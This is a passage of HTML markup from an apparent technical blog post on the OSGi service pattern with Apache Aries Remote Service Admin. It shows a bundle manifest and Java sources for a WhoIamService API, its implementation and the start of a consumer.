3c0-3%200-3%204-4l5%201-1%201-1%203%202%202c2%200%202%200%201-1v-1l1-2v-3l1%203c0%204%200%204%204%204%203%200%203%200%202-1l-1-1c3%200%202-2%200-3l-2%202c-1%201-1%201-1-1l1-2%2015-1%2015%201v4c0%202%200%202%202-1l1-3v7l1-4%201-4v3c0%204%200%204%205%204l3-1v-1c1-1%202%200%202%201l1%201%201-2%201-2%201%202%202%201%202-2c0-1-1-2-3-2l-2-1%209-1c9%200%209%200%206%206l1%202%202-4c1-4%202-5%204-3l-1%201-1%202%201%202%201%203%202%206c4%205%207%206%2031%206%2036%200%2033%205%2033-55%200-52%200-52-8-54-6-2-48-1-51%201-5%202-7%206-7%2012%200%205-1%207-3%205h-43l4-1%201-3-1-4-1%201-2%202c-2%200-3%200-3%203v3h-16l-15-1%201-1%201-4c0-2%200-3-1-2%200%201-1%202-3%201-2%200-2%200-2%203v4h-22v-7c0-13%200-12-24-13l-24%201c-1%202-4%202-9%202-9%200-11%201-11%203%200%204-7%200-12-6-14-20-7-52%2013-58%202-1%202-1%202%201%200%203%200%203%207%203l7%201v10c0%2016-1%2015%2025%2015%2027%200%2025%202%2025-20%201-23%202-21-23-21H98M60%2095l-4%206c-23%2030-18%2092%2010%20114l5%202h2c1%201%202%201%202-1%201-3%201-3%2011-3l12-1%2021-1c26%200%2025%200%2025%2012%200%207%201%207%203%207h2l51%201h50v-33c0-30%200-32-2-32h-3l-19-1c-2%200-3%201-5%208l-2%202%201-5%202-5h-38l-38%201-1%207c-1%2012%200%2012-26%2012s-25%200-25-15c0-10%200-11-2-11h-8c-6%200-7-1-7-3s-1-2-2-1l-2-1-3-4c-7-4-13-16-15-29%200-6%201-14%205-22l1-5-1%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/c85cb/osgi-service-pattern.webp 300w,/static/b2e7f3c870d105eb81c76b3aa4913384/e88ff/osgi-service-pattern.webp 600w,/static/b2e7f3c870d105eb81c76b3aa4913384/a2d8a/osgi-service-pattern.webp 638w&quot; sizes=&quot;(max-width: 638px) 100vw, 638px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/f93b5/osgi-service-pattern.jpg 300w,/static/b2e7f3c870d105eb81c76b3aa4913384/b4294/osgi-service-pattern.jpg 600w,/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg 638w&quot; sizes=&quot;(max-width: 638px) 100vw, 638px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - OSGi Service Pattern&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg&quot; title=&quot;Figure 2 - OSGi Service Pattern&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - OSGi Service Pattern&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The figure below shows an example of a modular OSGi application in
running inside an Apache Karaf OSGi container where the
separation into the three bundles: API, Service (impl) and Consumer (client).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1131px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;140\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20140\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2070v70h401V0H0v70m15-55v6H8l-6%201h13v55l1%2055V22h34v55l1%2055V22h44a1034%201034%200%20001-1H51v-6l-1-5v11H16v-6l-1-5v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/c85cb/esempio-osgi-service-pattern-api-impl-client.webp 300w,/static/57251ba87d85eb24a9f1ee95c9e34f99/e88ff/esempio-osgi-service-pattern-api-impl-client.webp 600w,/static/57251ba87d85eb24a9f1ee95c9e34f99/bcfd3/esempio-osgi-service-pattern-api-impl-client.webp 1131w&quot; sizes=&quot;(max-width: 1131px) 100vw, 1131px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/5a46d/esempio-osgi-service-pattern-api-impl-client.png 300w,/static/57251ba87d85eb24a9f1ee95c9e34f99/0a47e/esempio-osgi-service-pattern-api-impl-client.png 600w,/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png 1131w&quot; sizes=&quot;(max-width: 1131px) 100vw, 1131px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Example of a modular OSGi application following the OSGi pattern
Service Pattern&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png&quot; title=&quot;Figure 3 - Example of a modular OSGi application following the OSGi pattern
Service Pattern&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Example of a modular OSGi application following the OSGi pattern
Service Pattern&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Source Code 1 instead shows the MANIFEST.MF contained within the bundle
of the API where you can see the &lt;strong&gt;Export-Package&lt;/strong&gt; directive which expresses the
package that will be exported (therefore visible externally) and the version
specific.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;Manifest-Version: 1.0&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bnd-LastModified: 1595983877560&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Description: Aries Remote Service Admin Examples - Raspberry Pi API&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-ManifestVersion: 2&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Name: Aries Remote Service Admin Examples - Raspberry Pi API&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-SymbolicName: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Version: 1.0.0.202007290051&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Created-By: 1.8.0_181 (Oracle Corporation)&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Export-Package: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api;version=&amp;quot;1.0.0&amp;quot;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Require-Capability: osgi.ee;filter:=&amp;quot;(&amp;amp;(osgi.ee=JavaSE)(version=1.8))&amp;quot;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Tool: Bnd-4.2.0.201903051501&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Manifest of the API bundle with evidence of the Export-Package directive&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The following three Java sources show respectively:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;the definition of the interface (API bundle);&lt;/li&gt;&lt;li&gt;the implementation of the service whose interface has been defined by the bundle
API (Impl or Service bundle);&lt;/li&gt;&lt;li&gt;use or consumption of the service (Client or Consumer bundle).&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Definition of the interface for the WhoIamService&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.service;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(immediate=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamServiceImpl&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;NA&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      hostAddress = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;InetAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLocalHost&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHostAddress&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UnknownHostException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;LOG_ERROR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;uhe&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      response, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBundleId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getHeaders&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BUNDLE_NAME&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundle&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getVersion&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Constants&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;FRAMEWORK_UUID&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), hostAddress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    _bc = bundleContext;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BundleContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_bc&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LogService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Implementation of the WhoIamService interface&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;package&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; * &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;@author&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt; Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(immediate=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
